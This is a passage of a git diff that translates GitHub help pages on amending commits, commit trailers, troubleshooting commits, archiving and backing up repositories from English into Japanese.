+インタラクティブリベースに関する詳しい情報については、Git のマニュアルにある「[インタラクティブモード](https://git-scm.com/docs/git-rebase#_interactive_mode)」を参照してください。
 
 {% tip %}
 
-As before, amending the commit message will result in a new commit with a new ID. However, in this case, every commit that follows the amended commit will also get a new ID because each commit also contains the id of its parent.
+この方法でも、コミットメッセージを修正すると、ID が新しい新たなコミットメッセージが作成されます。 ただしこの方法では、修正したコミットに続く各コミットも新しい ID を取得します。各コミットには、親の ID が含まれているためです。
 
 {% endtip %}
 
 {% warning %}
 
-If you have included sensitive information in a commit message, force pushing a commit with an amended commit may not remove the original commit from {% data variables.product.product_name %}. The old commit will not be a part of a subsequent clone; however, it may still be cached on {% data variables.product.product_name %} and accessible via the commit ID. You must contact {% data variables.contact.contact_support %} with the old commit ID to have it purged from the remote repository.
+修正したコミットをフォースプッシュしても元のコミットは {% data variables.product.product_name %}から削除されない場合がありますので、元のコミットメッセージに機密情報が含まれている場合は注意してください。 古いコミットは、以降のクローンには含まれませんが、{% data variables.product.product_name %}にキャッシュされ、コミット ID でアクセスできます。 リモートリポジトリから古いコミットメッセージをパージするには、古いコミット ID を添えて {% data variables.contact.contact_support %}にお問い合わせください。
 
 {% endwarning %}
 
-## Further reading
+## 参考リンク
 
-* "[Signing commits](/articles/signing-commits)"
+* 「[コミットに署名する](/articles/signing-commits)」
diff --git a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
index a7082678b8..7d32ddbc11 100644
--- a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
+++ b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a commit on behalf of an organization
-intro: 'You can create commits on behalf of an organization by adding a  trailer to the commit''s message. Commits attributed to an organization include an `on-behalf-of` badge on {% data variables.product.product_name %}.'
+title: Organization の代理でコミットを作成する
+intro: 'コミットのメッセージにトレーラーを追加することで、Organization の代理でコミットを作成できます。 Organization に属するコミットには、{% data variables.product.product_name %} で `on-behalf-of` というバッジが付きます。'
 redirect_from:
   - /articles/creating-a-commit-on-behalf-of-an-organization
   - /github/committing-changes-to-your-project/creating-a-commit-on-behalf-of-an-organization
@@ -10,26 +10,27 @@ versions:
   ghec: '*'
 shortTitle: On behalf of an organization
 ---
+
 {% note %}
 
-**Note:** The ability to create a commit on behalf of an organization is currently in public beta and is subject to change.
+**メモ:** Organization の代理でコミットを作成する機能は、現在パブリックベータであり、変更されることがあります。
 
 {% endnote %}
 
-To create commits on behalf of an organization:
+Organization の代理でコミットを作成するには、以下の条件を満たす必要があります:
 
-- you must be a member of the organization indicated in the trailer
-- you must sign the commit
-- your commit email and the organization email must be in a domain verified by the organization
-- your commit message must end with the commit trailer `on-behalf-of: @org <name@organization.com>`
-  - `org` is the organization's login
-  - `name@organization.com` is in the organization's domain
+- トレーラーで示される Organization のメンバーであること
+- あなたがコミットに署名すること
+- コミットメールおよび Organization メールが、Organization で検証済みのドメインであること
+- コミットメッセージが、`on-behalf-of: @org <name@organization.com>` というコミットトレーラーで終わること
+  - `org` は Organization のログイン名
+  - `name@organization.com` は Organization のドメイン内
 
 Organizations can use the `name@organization.com` email as a public point of contact for open source efforts.
 
-## Creating commits with an `on-behalf-of` badge on the command line
+## コマンドラインで `on-behalf-of` バッジを付けてコミットを作成する
 
-1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines.
+1. コミットメッセージと、変更の短く分かりやすい説明を入力してください。 コミットの説明の後に、閉じる引用符の代わりに 2 つの空の行を追加してください。
   ```shell
   $ git commit -m "Refactor usability tests.
   >
@@ -37,11 +38,11 @@ Organizations can use the `name@organization.com` email as a public point of con
   ```
   {% tip %}
 
-  **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `on-behalf-of:` commit trailer.
+  **参考:** コミットメッセージの入力にコマンドライン上のテキストエディタを使っている場合、コミットの説明とコミットトレーラーの`on-behalf-of:`との間に新しい改行が 2 つあることを確認してください。
 
   {% endtip %}
 
-2. On the next line of the commit message, type `on-behalf-of: @org <name@organization.com>`, then a closing quotation mark.
+2. コミットメッセージの次の行に、`on-behalf-of: @org <name@organization.com>` と入力して、引用符で閉じます。
 
   ```shell
   $ git commit -m "Refactor usability tests.
@@ -50,25 +51,24 @@ Organizations can use the `name@organization.com` email as a public point of con
   on-behalf-of: <em>@org</em> &lt;<em>name@organization.com</em>&gt;"
   ```
 
-The new commit, message, and badge will appear on {% data variables.product.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)."
+次回のプッシュ時に、{% data variables.product.product_location %} に新たなコミット、メッセージ、およびバッジが表示されます。 詳細は「[リモートリポジトリに変更をプッシュする](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)」を参照してください。
 
-## Creating commits with an `on-behalf-of` badge on {% data variables.product.product_name %}
+## {% data variables.product.product_name %} で `on-behalf-of` バッジを付けてコミットを作成する
 
-After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a commit on behalf of your organization by adding an `on-behalf-of:` trailer to the commit's message.
+{% data variables.product.product_name %} のウェブエディタでファイルを変更してから、コミットのメッセージに `on-behalf-of:` トレーラーを追加することで、Organization の代理でコミットを作成できます。
 
-1. After making your changes, at the bottom of the page, type a short, meaningful commit message that describes the changes you made.
-  ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png)
+1. 変更を行った後は、ページの下部に、変更について説明する、短くて意味のあるコミットメッセージを入力します。 ![変更のコミットメッセージ](/assets/images/help/repository/write-commit-message-quick-pull.png)
 
-2. In the text box below your commit message, add `on-behalf-of: @org <name@organization.com>`.
+2. コミットメッセージの下にあるテキストボックスに、`on-behalf-of: @org <name@organization.com>` を追加します。
 
-  ![Commit message on-behalf-of trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png)
-4. Click **Commit changes** or **Propose changes**.
+  ![2 つ目のコミットメッセージテキストボックスにある、代理コミットメッセージのトレーラー例](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png)
+4. [**Commit changes**] または [**Propose changes**] をクリックします。
 
-The new commit, message, and badge will appear on {% data variables.product.product_location %}.
+{% data variables.product.product_location %} に新たなコミット、メッセージ、およびバッジが表示されます。
 
-## Further reading
+## 参考リンク
 
-- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)"
-- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
-- "[Viewing a project’s contributors](/articles/viewing-a-projects-contributors)"
-- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)"
+- [プロフィール上でのコントリビューションの表示](/articles/viewing-contributions-on-your-profile)
+- [プロフィール上でコントリビューションが表示されない理由](/articles/why-are-my-contributions-not-showing-up-on-my-profile)
+- [プロジェクトのコントリビューターを表示する](/articles/viewing-a-projects-contributors)
+- [コミットメッセージの変更](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)
diff --git a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/index.md b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/index.md
index 9206e8d17d..c571faa5e0 100644
--- a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/index.md
+++ b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/index.md
@@ -1,5 +1,5 @@
 ---
-title: Committing changes to your project
+title: 変更をプロジェクトにコミットする
 intro: You can manage code changes in a repository by grouping work into commits.
 redirect_from:
   - /categories/21/articles
@@ -17,3 +17,4 @@ children:
   - /troubleshooting-commits
 shortTitle: Commit changes to your project
 ---
+
diff --git a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
index 613caee543..97547e596e 100644
--- a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
+++ b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
@@ -1,6 +1,6 @@
 ---
-title: Commit exists on GitHub but not in my local clone
-intro: 'Sometimes a commit will be viewable on {% data variables.product.product_name %}, but will not exist in your local clone of the repository.'
+title: コミットが GitHub にはありますが、ローカルにはありません
+intro: '特定のコミットが、{% data variables.product.product_name %}上では見えるにもかかわらず、リポジトリのローカルクローンの中には存在しない、という場合があります。'
 redirect_from:
   - /articles/commit-exists-on-github-but-not-in-my-local-clone
   - /github/committing-changes-to-your-project/commit-exists-on-github-but-not-in-my-local-clone
@@ -12,81 +12,71 @@ versions:
   ghec: '*'
 shortTitle: Commit missing in local clone
 ---
-When you use `git show` to view a specific commit on the command line, you may get a fatal error.
 
-For example, you may receive a `bad object` error locally:
+特定のコミットを表示するため、コマンドラインで `git show` を使うと、致命的エラーが発生することがあります。
+
+たとえば、以下のコマンドを入力して、ローカルで `bad object` のエラーが発生したとします。
 
 ```shell
 $ git show 1095ff3d0153115e75b7bca2c09e5136845b5592
 > fatal: bad object 1095ff3d0153115e75b7bca2c09e5136845b5592
 ```
 
-However, when you view the commit on {% data variables.product.product_location %}, you'll be able to see it without any problems:
+しかし、以下のように {% data variables.product.product_location %}でコミットを表示すると、問題が発生しません。
 
 `github.com/$account/$repository/commit/1095ff3d0153115e75b7bca2c09e5136845b5592`
 
-There are several possible explanations:
+この場合、以下の原因が考えられます:
 
-* The local repository is out of date.
-* The branch that contains the commit was deleted, so the commit is no longer referenced.
-* Someone force pushed over the commit.
+* ローカルのリポジトリが古い。
+* そのコミットが属するブランチが削除されたため、コミットが参照できなくなっている。
+* 誰かがコミットをフォースプッシュで上書きした。
 
-## The local repository is out of date
+## ローカルのリポジトリが古い
 
-Your local repository may not have the commit yet. To get information from your remote repository to your local clone, use `git fetch`:
+ローカルのリポジトリがまだコミットを取得していないことも考えられます。 リモートリポジトリからローカルクローンに情報を取得するには、以下のように `git fetch` を使用します:
 
 ```shell
 $ git fetch <em>remote</em>
 ```
 
-This safely copies information from the remote repository to your local clone without making any changes to the files you have checked out.
-You can use `git fetch upstream` to get information from a repository you've forked, or `git fetch origin` to get information from a repository you've only cloned.
+これにより、チェックアウトしたファイルに変更が加えられることなく、リモートリポジトリからローカルクローンに、情報が安全にコピーされます。 フォーク元のリポジトリから情報を取得するには、`git fetch upstream` を使用します。また、クローンのみを行ったリポジトリから情報を取得するには、`git fetch origin` を使用します。
 
 {% tip %}
 
-**Tip**: For more information, read about [managing remotes and fetching data](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) in the [Pro Git](https://git-scm.com/book) book.
+**参考**: 詳しい情報については、[Pro Git](https://git-scm.com/book) ブックの[リモートの管理とデータのフェッチ](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)をお読みください。
 
 {% endtip %}
 
-## The branch that contained the commit was deleted
+## コミットのあるブランチが削除された
 
-If a collaborator on the repository has deleted the branch containing the commit
-or has force pushed over the branch, the missing commit may have been orphaned
-(i.e. it cannot be reached from any reference) and therefore will not be fetched
-into your local clone.
+リポジトリのコラボレーターが、そのコミットを持つブランチを削除した、あるいはブランチにフォースプッシュした場合、見つからないコミットは孤立している (つまり、どの参照からもたどり着けなくなっている) ため、ローカルクローンにフェッチできません。
 
-Fortunately, if any collaborator has a local clone of the repository with the
-missing commit, they can push it back to {% data variables.product.product_name %}.  They need to make sure the commit
-is referenced by a local branch and then push it as a new branch to {% data variables.product.product_name %}.
+幸いコラボレーターの誰かが、見つからなくなったコミットを持つリポジトリのローカルクローンを持っている場合は、それを {% data variables.product.product_name %}にプッシュして戻してもらうことができます。  コミットがローカルブランチに参照されていることを必ず確認してから {% data variables.product.product_name %}に新しいブランチとしてプッシュするよう依頼してください。
 
-Let's say that the person still has a local branch (call it `B`) that contains
-the commit.  This might be tracking the branch that was force pushed or deleted
-and they simply haven't updated yet.  To preserve the commit, they can push that
-local branch to a new branch (call it `recover-B`) on {% data variables.product.product_name %}.  For this example,
-let's assume they have a remote named `upstream` via which they have push access
-to `github.com/$account/$repository`.
+たとえば、コラボレータの一人が、コミットを含むローカルブランチ (`B` とします) をまだ持っていたとします。  このローカルブランチは、フォースプッシュまたは削除されたブランチをトラッキングしていると考えられます。そして、まだ更新されていません。  コミットが失われないうちに、そのローカルブランチを {% data variables.product.product_name %} の新しいブランチ (`recover-B` とします) にプッシュしてもらいましょう。  ここでは仮に、`upstream` という名前のリモートがあり、これを通して `github.com/$account/$repository` にプッシュアクセスがあるとします。
 
-The other person runs:
+コミットを持つローカルブランチを持っている人が、以下のコマンドを実行します:
 
 ```shell
 $ git branch recover-B B
-# Create a new local branch referencing the commit
+# コミットを参照する新しいローカルブランチを作成
 $ git push upstream B:recover-B
-# Push local B to new upstream branch, creating new reference to commit
+# ローカル B を新しい上流ブランチにプッシュし、コミットへの新しい参照を作成
 ```
 
-Now, *you* can run:
+次に、*あなた*が以下のコマンドを実行します:
 
 ```shell
 $ git fetch upstream recover-B
-# Fetch commit into your local repository.
+# ローカルリポジトリへコミットをフェッチ。
 ```
 
-## Avoid force pushes
+## フォースプッシュは避けましょう
 
-Avoid force pushing to a repository unless absolutely necessary. This is especially true if more than one person can push to the repository. If someone force pushes to a repository, the force push may overwrite commits that other people based their work on. Force pushing changes the repository history and can corrupt pull requests.
+絶対に必要でない限り、フォースプッシュは避けましょう。 特に、リポジトリにプッシュできる人が 2 人以上いる場合は避けるべきです。 If someone force pushes to a repository, the force push may overwrite commits that other people based their work on. Force pushing changes the repository history and can corrupt pull requests.
 
-## Further reading
+## 参考リンク
 
-- ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
-- ["Data Recovery" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery)
+- [_Pro Git_ ブックの「リモートでの作業」](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
+- [_Pro Git_ ブックの「データリカバリ」](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery)
diff --git a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
index e63f9863ff..df0895f41b 100644
--- a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
+++ b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
@@ -1,11 +1,11 @@
 ---
-title: Why are my commits linked to the wrong user?
+title: コミットが間違ったユーザにリンクされているのはなぜですか？
 redirect_from:
   - /articles/how-do-i-get-my-commits-to-link-to-my-github-account
   - /articles/why-are-my-commits-linked-to-the-wrong-user
   - /github/committing-changes-to-your-project/why-are-my-commits-linked-to-the-wrong-user
   - /github/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user
-intro: '{% data variables.product.product_name %} uses the email address in the commit header to link the commit to a GitHub user. If your commits are being linked to another user, or not linked to a user at all, you may need to change your local Git configuration settings{% ifversion not ghae %}, add an email address to your account email settings, or do both{% endif %}.'
+intro: '{% data variables.product.product_name %} は、コミットヘッダのメールアドレスを使用して、コミットを GitHub ユーザにリンクします。 コミットが別のユーザにリンクされている、またはまったくリンクされていない場合は、ローカルの Git 設定 {% ifversion not ghae %} を変更するか、アカウントのメール設定にメールアドレスを追加するか、あるいはその両方を行う必要があります{% endif %}。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,46 +13,45 @@ versions:
   ghec: '*'
 shortTitle: Linked to wrong user
 ---
+
 {% tip %}
 
-**Note**: If your commits are linked to another user, that does not mean the user can access your repository. A user can only access a repository you own if you add them as a collaborator or add them to a team that has access to the repository.
+**メモ**: コミットが別のユーザにリンクされている場合でも、そのユーザがあなたのリポジトリにアクセスできるわけではありません。 コラボレーターとして追加した場合、またはリポジトリにアクセスできる Team に追加した場合にのみ、ユーザはあなたが所有するリポジトリにアクセスできます。
 
 {% endtip %}
 
-## Commits are linked to another user
+## コミットは別のユーザにリンクされています
 
-If your commits are linked to another user, that means the email address in your local Git configuration settings is connected to that user's account on {% data variables.product.product_name %}. In this case, you can change the email in your local Git configuration settings{% ifversion ghae %} to the address associated with your account on {% data variables.product.product_name %} to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %} and add the new email address to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} account to link future commits to your account.
+コミットが別のユーザにリンクされている場合は、ローカルの Git 設定のメールアドレスが {% data variables.product.product_name %} 上のそのユーザのアカウントに接続されていることを意味します。 この場合、ローカルの Git 設定 {% ifversion ghae %} のメールを {% data variables.product.product_name %} のアカウントに関連付けられたアドレスに変更して、今後のコミットをリンクすることができます。 古いコミットはリンクされません。 For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %} and add the new email address to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} account to link future commits to your account.
 
-1. To change the email address in your local Git configuration, follow the steps in "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)". If you work on multiple machines, you will need to change this setting on each one.
-2. Add the email address from step 2 to your account settings by following the steps in "[Adding an email address to your GitHub account](/articles/adding-an-email-address-to-your-github-account)".{% endif %}
+1. ローカル Git 設定でメールアドレスを変更するには、「<[コミットメールアドレスを設定する](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)」の手順に従います。 複数のマシンで作業している場合は、各マシンでこの設定を変更する必要があります。
+2. 「[GitHub アカウントにメールアドレスを追加する](/articles/adding-an-email-address-to-your-github-account)」の手順に従って、ステップ 2 のメールアドレスをアカウント設定に追加します。{% endif %}
 
-Commits you make from this point forward will be linked to your account.
+これ以降のコミットは、あなたのアカウントにリンクされます。
 
-## Commits are not linked to any user
+## コミットはどのユーザにもリンクされていません
 
-If your commits are not linked to any user, the commit author's name will not be rendered as a link to a user profile.
+コミットがどのユーザにもリンクされていない場合、コミット作者の名前はユーザプロファイルへのリンクとして表示されません。
 
-To check the email address used for those commits and connect commits to your account, take the following steps:
+これらのコミットに使用されたメールアドレスを確認し、コミットをアカウントに接続するには、次の手順に従います:
 
-1. Navigate to the commit by clicking the commit message link.
-![Commit message link](/assets/images/help/commits/commit-msg-link.png)
-2. To read a message about why the commit is not linked, hover over the blue {% octicon "question" aria-label="Question mark" %} to the right of the username.
-![Commit hover message](/assets/images/help/commits/commit-hover-msg.png)
+1. コミットメッセージリンクをクリックしてコミットに移動します。 ![コミットメッセージリンク](/assets/images/help/commits/commit-msg-link.png)
+2. コミットがリンクされていない理由に関するメッセージを読むには、ユーザ名の右側にある青い {% octicon "question" aria-label="Question mark" %} の上にカーソルを合わせます。 ![コミットホバーメッセージ](/assets/images/help/commits/commit-hover-msg.png)
 
-  - **Unrecognized author (with email address)** If you see this message with an email address, the address you used to author the commit is not connected to your account on {% data variables.product.product_name %}. {% ifversion not ghae %}To link your commits, [add the email address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account).{% endif %} If the email address has a Gravatar associated with it, the Gravatar will be displayed next to the commit, rather than the default gray Octocat.
-  - **Unrecognized author (no email address)** If you see this message without an email address, you used a generic email address that can't be connected to your account on {% data variables.product.product_name %}.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %}
-  - **Invalid email** The email address in your local Git configuration settings is either blank or not formatted as an email address.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %}
+  - **未確認の作者 (メールアドレスあり)** このメッセージにメールアドレスが表示される場合、コミットの作成に使用したアドレスは {% data variables.product.product_name %} のアカウントに接続されていません。 {% ifversion not ghae %}コミットをリンクするには、[メールアドレスを GitHub のメール設定に追加](/articles/adding-an-email-address-to-your-github-account)します。{% endif %} メールアドレスに Gravatar が関連付けられている場合、デフォルトの灰色の Octocat ではなく、コミットの横に Gravatar が表示されます。
+  - **Unrecognized author (no email address)** If you see this message without an email address, you used a generic email address that can't be connected to your account on {% data variables.product.product_name %}.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. 古いコミットはリンクされません。{% endif %}
+  - **Invalid email** The email address in your local Git configuration settings is either blank or not formatted as an email address.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. 古いコミットはリンクされません。{% endif %}
 
 {% ifversion ghae %}
-You can change the email in your local Git configuration settings to the address associated with your account to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."
+ローカルの Git 設定のメールをアカウントに関連付けられたアドレスに変更して、今後のコミットをリンクすることができます。 古いコミットはリンクされません。 詳しい情報については、「[コミットメールアドレスを設定する](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)」を参照してください。
 {% endif %}
 
 {% warning %}
 
-If your local Git configuration contained a generic email address, or an email address that was already attached to another user's account, then your previous commits will not be linked to your account. While Git does allow you to change the email address used for previous commits, we strongly discourage this, especially in a shared repository.
+ローカル Git 設定に一般的なメールアドレス、または他のユーザのアカウントにすでに添付されているメールアドレスが含まれている場合、以前のコミットはアカウントにリンクされません。 Git では以前のコミットに使用したメールアドレスを変更することができますが、特に共有リポジトリではこれを推奨しません。
 
 {% endwarning %}
 
-## Further reading
+## 参考リンク
 
-* "[Searching commits](/search-github/searching-on-github/searching-commits)"
+* "[コミットの検索](/search-github/searching-on-github/searching-commits)"
diff --git a/translations/ja-JP/content/repositories/archiving-a-github-repository/archiving-repositories.md b/translations/ja-JP/content/repositories/archiving-a-github-repository/archiving-repositories.md
index b8d5a45fc7..c220ebf8c7 100644
--- a/translations/ja-JP/content/repositories/archiving-a-github-repository/archiving-repositories.md
+++ b/translations/ja-JP/content/repositories/archiving-a-github-repository/archiving-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Archiving repositories
-intro: You can archive a repository to make it read-only for all users and indicate that it's no longer actively maintained. You can also unarchive repositories that have been archived.
+title: リポジトリのアーカイブ
+intro: リポジトリをアーカイブし、すべてのユーザに対してリードオンリーとし、アクティブにメンテナンスされなくなったことを示すことができます。 アーカイブされたリポジトリのアーカイブを解除することもできます。
 redirect_from:
   - /articles/archiving-repositories
   - /github/creating-cloning-and-archiving-repositories/archiving-repositories
@@ -22,28 +22,26 @@ topics:
 {% ifversion fpt or ghec %}
 {% note %}
 
-**Note:** If you have a legacy per-repository billing plan, you will still be charged for your archived repository. If you don't want to be charged for an archived repository, you must upgrade to a new product. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)."
+**ノート：**過去のリポジトリ単位の支払いプランを利用している場合、アーカイブされたリポジトリについても支払いが続くことになります。 アーカイブされたリポジトリに対する支払いをしたくない場合には、新しい製品にアップグレードしなければなりません。 詳細は「[{% data variables.product.prodname_dotcom %} の製品](/articles/github-s-products)」を参照してください。
 
 {% endnote %}
 {% endif %}
 
 {% data reusables.repositories.archiving-repositories-recommendation %}
 
-Once a repository is archived, you cannot add or remove collaborators or teams. Contributors with access to the repository can only fork or star your project.
+リポジトリがアーカイブされると、コラボレータや Team の追加や削除ができなくなります。 リポジトリへのアクセス権を持つコントリビューターは、プロジェクトをフォークするか Star を付けることだけができます。
 
-When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. To make changes in an archived repository, you must unarchive the repository first.
+When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. アーカイブされたリポジトリに変更を加えるには、まずそのリポジトリのアーカイブ解除をしなければなりません。
 
-You can search for archived repositories. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)." You can also search for issues and pull requests within archived repositories. For more information, see "[Searching issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)."  
+アーカイブされたリポジトリに対して検索ができます。 詳しい情報については[リポジトリの検索](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)を参照してください。 詳しい情報については[リポジトリの検索](/articles/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)を参照してください。 詳しい情報については[Issueやプルリクエストの検索](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)を参照してください。
 
-## Archiving a repository
+## リポジトリをアーカイブへ保管
 
 {% data reusables.repositories.archiving-repositories-recommendation %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under "Danger Zone", click **Archive this repository** or **Unarchive this repository**.
-   ![Archive this repository button](/assets/images/help/repository/archive-repository.png)
-4. Read the warnings.
-5. Type the name of the repository you want to archive or unarchive.
-  ![Archive repository warnings](/assets/images/help/repository/archive-repository-warnings.png)
-6. Click **I understand the consequences, archive this repository**.
+3. "Danger Zone" の下で [** Archive this repository**] (このリポジトリをアーカイブ) または [** Unarchive this repository**] (このリポジトリをアーカイブ解除) をクリックします。 ![[Archive this repository] ボタン](/assets/images/help/repository/archive-repository.png)
+4. 警告を読んでください。
+5. アーカイブあるいはアーカイブを解除したいリポジトリの名前を入力してください。 ![リポジトリのアーカイブの警告](/assets/images/help/repository/archive-repository-warnings.png)
+6. [**I understand the consequences, archive this repository**] (結果を承知した上で、このリポジトリをアーカイブ) をクリックします。
diff --git a/translations/ja-JP/content/repositories/archiving-a-github-repository/backing-up-a-repository.md b/translations/ja-JP/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
index 433e593928..4ddc0199a2 100644
--- a/translations/ja-JP/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
+++ b/translations/ja-JP/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
@@ -1,5 +1,5 @@
 ---
-title: Backing up a repository
+title: リポジトリのバックアップ
 intro: 'You can use{% ifversion ghes or ghae %} Git and{% endif %} the API {% ifversion fpt or ghec %}or a third-party tool {% endif %}to back up your repository.'
 redirect_from:
   - /articles/backing-up-a-repository
@@ -13,33 +13,34 @@ versions:
 topics:
   - Repositories
 ---
+
 {% ifversion fpt or ghec %}
 
-To download an archive of your repository, you can use the API for user or organization migrations. For more information, see "[Migrations](/rest/reference/migrations)."
+リポジトリのアーカイブをダウンロードするには、ユーザあるいは Organization のマイグレーション用の API が利用できます。 詳しい情報については、「[移行](/rest/reference/migrations)」を参照してください。
 {% else %}
 
-You can download and back up your repositories manually:
+リポジトリのダウンロードおよびバックアップを手動で実行できます。
 
-- To download a repository's Git data to your local machine, you'll need to clone the repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
-- You can also download your repository's wiki. For more information, see "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)."
+- リポジトリの Git データをローカルマシンにダウンロードするには、リポジトリをクローンする必要があります。 詳しい情報については[リポジトリのクローン](/articles/cloning-a-repository)を参照してください。
+- また、リポジトリの wiki をダウンロードすることもできます。 詳細は「[ウィキページを追加または編集する](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)」を参照してください。
 
-When you clone a repository or wiki, only Git data, such as project files and commit history, is downloaded. You can use our API to export other elements of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to your local machine:
+リポジトリもしくは wiki をクローンすると、プロジェクトのファイルやコミット履歴などの Git のデータだけがダウンロードされます。 You can use our API to export other elements of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to your local machine:
 
-- [Issues](/rest/reference/issues#list-issues-for-a-repository)
-- [Pull requests](/rest/reference/pulls#list-pull-requests)
-- [Forks](/rest/reference/repos#list-forks)
-- [Comments](/rest/reference/issues#list-issue-comments-for-a-repository)
-- [Milestones](/rest/reference/issues#list-milestones)
-- [Labels](/rest/reference/issues#list-labels-for-a-repository)
-- [Watchers](/rest/reference/activity#list-watchers)
-- [Stargazers](/rest/reference/activity#list-stargazers)
-- [Projects](/rest/reference/projects#list-repository-projects)
+- [Issue](/rest/reference/issues#list-issues-for-a-repository)
+- [プルリクエスト](/rest/reference/pulls#list-pull-requests)
+- [フォーク](/rest/reference/repos#list-forks)
